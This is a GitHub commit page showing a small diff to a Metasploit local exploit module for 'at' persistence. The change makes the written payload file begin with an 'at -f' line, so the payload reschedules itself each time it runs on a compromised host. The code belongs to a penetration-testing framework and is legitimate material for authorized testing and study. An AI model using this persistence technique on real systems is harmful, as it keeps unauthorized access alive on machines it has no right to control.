We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 18fa897 commit a7cf0c8Copy full SHA for a7cf0c8
modules/exploits/multi/local/at_persistence.rb
@@ -76,7 +76,8 @@ def exploit
76
fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
77
end
78
79
- write_file(payload_file, payload.encoded)
+ persistent_payload = "at -f #{payload_file} #{datastore['TIME']}\n" + payload.encoded
80
+ write_file(payload_file, persistent_payload)
81
register_files_for_cleanup(payload_file) if datastore['CLEANUP']
82
83
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
0 commit comments